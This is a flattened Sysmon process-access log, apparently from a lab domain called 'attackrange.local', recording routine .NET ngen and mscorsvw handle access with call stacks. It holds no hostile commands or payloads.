14:45:21.342{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F81-613B-610A-00000000F001}6556C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.312{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F81-613B-600A-00000000F001}5648C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.302{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F81-613B-600A-00000000F001}5648C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.302{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F81-613B-600A-00000000F001}5648C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.282{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F81-613B-5F0A-00000000F001}3932C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.272{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F81-613B-5F0A-00000000F001}3932C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.272{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F81-613B-5F0A-00000000F001}3932C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.222{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F81-613B-5E0A-00000000F001}4828C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.212{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F81-613B-5E0A-00000000F001}4828C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.212{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F81-613B-5E0A-00000000F001}4828C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.172{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F81-613B-5D0A-00000000F001}6152C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.165{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F81-613B-5D0A-00000000F001}6152C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.165{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F81-613B-5D0A-00000000F001}6152C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.122{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F81-613B-5C0A-00000000F001}4364C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.112{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F81-613B-5C0A-00000000F001}4364C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.112{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F81-613B-5C0A-00000000F001}4364C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.955{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F82-613B-740A-00000000F001}2928C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.945{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F82-613B-740A-00000000F001}2928C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.935{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F82-613B-740A-00000000F001}2928C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.895{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F82-613B-730A-00000000F001}4312C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.875{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F82-613B-730A-00000000F001}4312C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.875{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F82-613B-730A-00000000F001}4312C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:22.815{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F82-613B-720A-00000000F001}3152C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000014004Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 